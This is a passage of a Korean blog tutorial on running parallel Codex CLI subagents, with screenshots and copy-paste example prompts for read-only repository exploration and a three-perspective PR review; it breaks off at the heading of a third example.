&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pmPjo/dJMcaayuMFs/Dc9uwc3HtccjwLAyt8pXO1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpmPjo%2FdJMcaayuMFs%2FDc9uwc3HtccjwLAyt8pXO1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;359&quot; height=&quot;96&quot; data-origin-width=&quot;756&quot; data-origin-height=&quot;202&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 메인 에이전트 이외에 3개의 에이전트가 확인된다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;306&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ckgeyz/dJMcaayuMJB/vHynCAU8aTUk9Mrs3Dd4Q1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ckgeyz/dJMcaayuMJB/vHynCAU8aTUk9Mrs3Dd4Q1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ckgeyz/dJMcaayuMJB/vHynCAU8aTUk9Mrs3Dd4Q1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fckgeyz%2FdJMcaayuMJB%2FvHynCAU8aTUk9Mrs3Dd4Q1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1032&quot; height=&quot;306&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;306&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp; - 이중 3번째 code-reviewer 를 선택하면 실제 작업 중인 내역도 확인 가능하.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2268&quot; data-origin-height=&quot;1404&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cQrYRo/dJMcaayuMLC/W3REsDco98YayFRLnBB0y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cQrYRo/dJMcaayuMLC/W3REsDco98YayFRLnBB0y0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cQrYRo/dJMcaayuMLC/W3REsDco98YayFRLnBB0y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcQrYRo%2FdJMcaayuMLC%2FW3REsDco98YayFRLnBB0y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2268&quot; height=&quot;1404&quot; data-origin-width=&quot;2268&quot; data-origin-height=&quot;1404&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;승인 요청이 뜨면 먼저 출처를 확인한다&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;서브에이전트가 여러 개일 때는 내가 보고 있지 않은 에이전트 스레드에서 명령 승인 요청이 올라올 수 있다. 이때는 바로 허용하지 말고 &lt;code style=&quot;background: #f1f3f5; color: #c0392b; padding: 2px 6px; border-radius: 3px; font-size: 0.9em;&quot;&gt;/agent&lt;/code&gt;로 해당 스레드를 열어 어떤 작업 중인지 확인한 뒤 승인한다. 특히 파일 수정, 네트워크 접근, 테스트 실행처럼 부작용이 있을 수 있는 명령은 이 확인 절차가 중요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;현재 공식 문서는 서브에이전트 활동을 Codex 앱과 CLI에서 확인할 수 있고, IDE에서의 가시성은 별도로 안내 중이라고 설명한다. 그래서 이 글의 실습은 CLI 기준으로 설명한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3.5 --&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: bold;&quot; data-ke-size=&quot;size23&quot;&gt;3.5 따라 해보는 실전 멀티 에이전트 프롬프트 4가지&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;개념만 읽으면 &quot;언제 써야 하지?&quot;가 막연하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바로 복붙해서 써볼 수 있는 프롬프트를 준비했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;실습 내용은 가장 안전한 읽기 전용 예시이고, 예시 A에서 C로 갈수록 에이전트 협업 복잡도가 올라간다.&lt;/p&gt;
&lt;div style=&quot;background-color: #f3e5f5; border-left: 4px solid #9c27b0; padding: 14px 18px; margin: 16px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;직접 해보자 &amp;mdash; 바이브 코딩 버전&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 10px 0;&quot; data-ke-size=&quot;size16&quot;&gt;구조 몰라도 된다. 이 한 줄을 그대로 Codex에 붙여넣어 보자.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #2d2d2d; color: #f8f8f2; padding: 12px 14px; border-radius: 6px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; line-height: 1.7; margin: 0; white-space: pre-wrap;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;main 브랜치와 비교해서 바뀐 파일들을 보안 리스크와 테스트 갭, 두 관점으로 병렬로 분석해줘. 파일 수정 금지. 파일 경로와 줄 번호 포함해서 각각 요약해줘.&lt;/code&gt;&lt;/pre&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;두 개의 에이전트가 뜨고, 결과가 &quot;보안 리스크 / 테스트 갭&quot; 두 섹션으로 나눠 오면 이 편의 핵심을 이해한 것이다.&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;ex) 실제 의도 파악을 하는지 테스트 하였고 그 결과&lt;/p&gt;
&lt;p style=&quot;margin: 10px 0 0; font-size: 0.9em; color: #666;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;- 읽기 전용 및 보인/테스크 갭 분리하여 2개의 병렬 검토 진행 성공&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2050&quot; data-origin-height=&quot;338&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsYU2V/dJMcahj6z1d/j7H31a5ZE6U2TZoF7kjogK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsYU2V/dJMcahj6z1d/j7H31a5ZE6U2TZoF7kjogK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsYU2V/dJMcahj6z1d/j7H31a5ZE6U2TZoF7kjogK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsYU2V%2FdJMcahj6z1d%2Fj7H31a5ZE6U2TZoF7kjogK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2050&quot; height=&quot;338&quot; data-origin-width=&quot;2050&quot; data-origin-height=&quot;338&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff8e6; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #f0ad4e; margin: 18px 0;&quot;&gt;&lt;b&gt;실전 예시에 공통으로 들어가는 패턴&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Goal&lt;/b&gt;: 에이전트가 달성할 결과를 한 문장으로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Setup&lt;/b&gt;: 컨텍스트 &amp;mdash; 저장소, 브랜치, 파일 경로&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Subagents&lt;/b&gt;: 에이전트별 역할과 산출 형식 명시&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Constraints&lt;/b&gt;: 금지 사항 &amp;mdash; 특히 쓰기 제한&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion&lt;/b&gt;: 완료 판단 기준&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;border-left: 6px solid #5c7cfa; padding: 16px 20px; background-color: #f3f0ff; border-radius: 0 8px 8px 0; margin: 20px 0;&quot;&gt;&lt;b&gt;에이전트가 많을수록 빠를까?&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;멀티스레딩 경험이 있는 개발자라면 본능적으로 &quot;에이전트 수 = 속도&quot;라고 느낀다. 틀린 직관이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0 0 6px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;프롬프트가 명확한 에이전트 하나 &amp;gt; 역할이 흐릿한 에이전트 셋.&lt;/b&gt; 분담이 모호하면 세 방향으로 흩어질 뿐이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;대표적으로 효과가 나는 경우는 세 가지다. 독립적인 읽기 전용 탐색, 같은 산출물에 다른 관점을 동시에 적용하는 리뷰, 가벼운 탐색과 무거운 최종 판단을 나누는 흐름이다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;첫 실습 &amp;mdash; 현재 저장소를 읽기만 해서 요약하기&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 먼저 해볼 실습은 파일을 수정하지 않는 저장소 탐색이다. 아래 프롬프트는 현재 작업 폴더에서 구조, 테스트 위치, 패키지 관리 흔적만 읽고 짧게 요약하게 한다.&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 16px 20px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 16px 0;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Use two parallel subagents for read-only exploration.
Do not edit files and do not run install commands.

Agent 1: inspect the top-level folders and summarize the project structure in 5 lines.
Agent 2: find test folders and package manager files, then summarize them in 5 lines.

Wait for both agents and return:
1. Project structure summary
2. Test/package summary
3. One next command I should run manually to verify the project&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ex) 2개의 읽기 전용 서브에이전트를 띄워 일하는 모습&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;622&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/sOgMY/dJMcacwjxja/dlS7SMkvJYpM5tA7o1xdL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/sOgMY/dJMcacwjxja/dlS7SMkvJYpM5tA7o1xdL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/sOgMY/dJMcacwjxja/dlS7SMkvJYpM5tA7o1xdL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FsOgMY%2FdJMcacwjxja%2FdlS7SMkvJYpM5tA7o1xdL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2042&quot; height=&quot;622&quot; data-origin-width=&quot;2042&quot; data-origin-height=&quot;622&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1036&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/AoyCD/dJMb99TRtbS/GC4LMFKhdqmIh9pw1zohrK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/AoyCD/dJMb99TRtbS/GC4LMFKhdqmIh9pw1zohrK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/AoyCD/dJMb99TRtbS/GC4LMFKhdqmIh9pw1zohrK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FAoyCD%2FdJMb99TRtbS%2FGC4LMFKhdqmIh9pw1zohrK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2078&quot; height=&quot;1036&quot; data-origin-width=&quot;2078&quot; data-origin-height=&quot;1036&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background-color: #f8fbff; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;기대 결과&lt;/b&gt;
&lt;p style=&quot;margin: 10px 0 0;&quot; data-ke-size=&quot;size16&quot;&gt;좋은 결과는 길지 않다. 예를 들어 &quot;src는 앱 코드, tests는 회귀 테스트, package.json 기준 npm 프로젝트, 다음 확인 명령은 npm test&quot;처럼 짧은 구조 요약과 수동 검증 명령 하나가 나오면 충분하다. 처음부터 파일 수정까지 맡기지 않는 이유는, 서브에이전트가 어떻게 결과를 합치는지 먼저 확인하기 위해서다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 A &amp;mdash; 낯선 저장소 첫 탐색: 구조&amp;middot;테스트&amp;middot;의존성 동시에&lt;/h4&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2146&quot; data-origin-height=&quot;1166&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn6TU5/dJMcag6wTSV/XAwy6n2glFGkR4qukoYZSK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn6TU5/dJMcag6wTSV/XAwy6n2glFGkR4qukoYZSK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn6TU5/dJMcag6wTSV/XAwy6n2glFGkR4qukoYZSK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn6TU5%2FdJMcag6wTSV%2FXAwy6n2glFGkR4qukoYZSK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2146&quot; height=&quot;1166&quot; data-origin-width=&quot;2146&quot; data-origin-height=&quot;1166&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;새 프로젝트에 처음 들어갔을 때 &quot;디렉토리 구조가 어떻게 되지? 테스트는 어디까지 있지? 외부 의존성은 뭐가 있지?&quot;를 순서대로 확인하면 시간이 꽤 걸린다. 세 에이전트가 동시에 읽어서 요약하면 전체 그림을 더 빨리 잡을 수 있다. 세 에이전트 모두 읽기만 하므로 충돌 가능성이 낮다.&lt;/p&gt;
&lt;pre class=&quot;code-block http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: 낯선 저장소의 전체 그림을 빠르게 파악한다.

Setup:
  저장소: github.com/example/myproject (로컬 클론 완료)
  브랜치: main

Subagents:
  - structure-agent: src/ 하위 디렉토리 구조와 주요 파일 역할을
      3~5줄 요약으로 돌려줘. 파일을 수정하면 안 된다.
  - test-agent: tests/ 또는 __tests__/ 폴더를 훑어서 테스트가
      어느 모듈까지 커버하는지 3줄로 요약해 줘. 파일을 수정하면 안 된다.
  - deps-agent: package.json 또는 requirements.txt를 읽고
      핵심 외부 의존성 5개와 용도를 정리해 줘. 파일을 수정하면 안 된다.

Constraints:
  - 세 에이전트 모두 파일 수정, 실행, 설치 금지
  - 요약은 각 에이전트 역할 범위 안에서만

Completion:
  세 에이전트 요약을 모아 &quot;저장소 첫인상 보고서&quot;를 한 블록으로 출력한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Subagents 에이전트별 이름&lt;/b&gt;: 이름이 없으면 /agent로 추적하기 어렵다. 어느 에이전트가 어떤 역할인지 Codex도, 사람도 헷갈린다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;각 에이전트 지시 안에 &quot;파일을 수정하면 안 된다&quot; 반복&lt;/b&gt;: Constraints 블록만으로는 부족하다. 에이전트별 지시 안에도 직접 적어야 더 잘 지킨다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력 형식을 줄 수로 제한&lt;/b&gt;: &quot;3~5줄&quot;, &quot;3줄&quot;처럼 길이를 못 박으면 각 에이전트가 과도한 맥락을 쏟아내지 않는다. 통합 단계가 훨씬 깔끔해진다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion에 통합 주체 명시&lt;/b&gt;: &quot;세 에이전트 요약을 모아&quot;처럼 누가 결과를 합치는지 적지 않으면 각자 결과만 출력하고 끝날 수 있다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예시 A의 구조를 그림으로 보면 한눈에 들어온다. orchestrator가 작업을 fan-out으로 분배하고, 각 에이전트가 자기 범위만 읽은 뒤 결과를 fan-in으로 합치는 형태다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1174&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b7EQK2/dJMcagyFCpT/kJvai3gnxKVNVZFlW8NvLK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b7EQK2/dJMcagyFCpT/kJvai3gnxKVNVZFlW8NvLK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b7EQK2/dJMcagyFCpT/kJvai3gnxKVNVZFlW8NvLK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb7EQK2%2FdJMcagyFCpT%2FkJvai3gnxKVNVZFlW8NvLK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2144&quot; height=&quot;1174&quot; data-origin-width=&quot;2144&quot; data-origin-height=&quot;1174&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;div style=&quot;background: #f8f9fa; border: 1px solid #dee2e6; border-radius: 8px; padding: 16px 20px; margin: 24px 0; font-family: monospace;&quot;&gt;
&lt;pre class=&quot;less&quot; style=&quot;margin: 0; font-size: 14px; line-height: 1.6;&quot;&gt;&lt;code&gt;┌─────────────────────────────────────────────────────┐
│                   orchestrator                       │
│           (목표 설정 &amp;middot; 결과 검토 &amp;middot; 다음 지시)         │
└──────────────┬───────────────────────────────────────┘
               │  fan-out (작업 분배)
       ┌───────┼───────┐
       ▼       ▼       ▼
  [탐색 agent] [테스트 agent] [리뷰 agent]
       │       │       │
       └───────┼───────┘
               │  fan-in (결과 합산)
               ▼
          최종 보고서
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 구조가 머릿속에 그려지면 다음 예시들도 같은 틀의 변주로 읽힌다. 예시 B는 같은 틀에 &quot;관점별 모델 차등&quot;을 더한 형태다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 B &amp;mdash; PR 셀프 리뷰: 보안&amp;middot;성능&amp;middot;가독성을 동시에&lt;/h4&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2136&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOY6Sx/dJMcaf0PeHL/iiaml4OGhxdAlCQdkrUhWk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOY6Sx/dJMcaf0PeHL/iiaml4OGhxdAlCQdkrUhWk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOY6Sx/dJMcaf0PeHL/iiaml4OGhxdAlCQdkrUhWk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOY6Sx%2FdJMcaf0PeHL%2Fiiaml4OGhxdAlCQdkrUhWk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2136&quot; height=&quot;1098&quot; data-origin-width=&quot;2136&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;PR 리뷰를 혼자 할 때 보안, 성능, 가독성을 한 번에 보려면 시각이 섞인다. 관점별로 에이전트를 따로 두면 각자 다른 렌즈로 같은 코드를 본다. 리뷰 깊이가 다른 관점엔 모델 설정도 다르게 줄 수 있다.&lt;/p&gt;
&lt;pre class=&quot;code-block http&quot; style=&quot;background: #1e1e1e; color: #d4d4d4; padding: 18px 20px; border-radius: 8px; font-size: 14px; line-height: 1.6; overflow-x: auto; margin: 15px 0;&quot; data-ke-language=&quot;text&quot;&gt;&lt;code&gt;Goal: feature/auth-refactor 브랜치 PR을 세 관점으로 동시 리뷰한다.

Setup:
  대상: src/auth/ 변경분 (main 브랜치 대비)
  범위: 신규 파일 + 수정 파일만

Subagents:
  # 모델 ID 참고: https://platform.openai.com/docs/codex
  - security-agent (model: o3, effort: high):
      인증 우회, 세션 고정, 입력값 미검증 패턴만 찾아서
      파일명:줄번호 형식으로 목록화해 줘.
  - perf-agent (model: codex-mini-latest, effort: medium):
      N+1 쿼리, 루프 안 DB 호출, 불필요한 await를 찾아서
      파일명:줄번호 형식으로 목록화해 줘.
  - readability-agent (model: codex-mini-latest, effort: low):
      함수 길이 30줄 초과, 인자 5개 초과, 중복 로직을 찾아서
      파일명:줄번호 형식으로 목록화해 줘.

Constraints:
  - 파일 수정 금지. 리뷰 의견만 출력
  - 관점 범위 밖 이슈는 언급하지 않는다

Completion:
  세 에이전트 결과를 &quot;보안 / 성능 / 가독성&quot; 섹션으로 나눠서 출력한다.&lt;/code&gt;&lt;/pre&gt;
&lt;div style=&quot;background-color: #e8f4f8; padding: 16px 18px; border-radius: 10px; border-left: 5px solid #0066cc; margin: 18px 0;&quot;&gt;&lt;b&gt;프롬프트 줄별 해설&lt;/b&gt;
&lt;ul style=&quot;margin: 10px 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;에이전트별 다른 model/effort&lt;/b&gt;: 보안처럼 놓치면 위험한 검토는 강한 모델과 높은 추론 설정으로 시작하고, 단순 스캔은 가벼운 모델로 시작할 수 있다. 이것은 공식 규칙이 아니라 비용과 위험을 함께 보는 실무 출발점이다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&quot;관점 범위 밖 이슈는 언급하지 않는다&quot;&lt;/b&gt;: 이 줄이 없으면 각 에이전트가 다른 관점의 이슈까지 포함해서 결과가 3배로 중복된다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;출력 형식을 &quot;파일명:줄번호&quot;로 통일&lt;/b&gt;: 자유 형식으로 두면 에이전트마다 양식이 달라져서 통합이 어렵다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Completion의 섹션 구분&lt;/b&gt;: 사소해 보이지만, 통합 에이전트가 섹션 헤더를 인식하고 결과를 분류하는 데 도움이 된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;A와 B는 모두 한 번에 fan-out하는 단순 구조였다. 예시 C는 한 단계 더 나아가, 직렬과 병렬을 섞은 다단계 흐름을 다룬다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;font-size: 18px; color: #1a3a52; margin: 25px 0 12px; font-weight: bold;&quot; data-ke-size=&quot;size20&quot;&gt;예시 C &amp;mdash; 라이브러리 업그레이드 영향 분석: 직렬 &amp;rarr; 병렬 &amp;rarr; 통합&lt;/h4&gt;
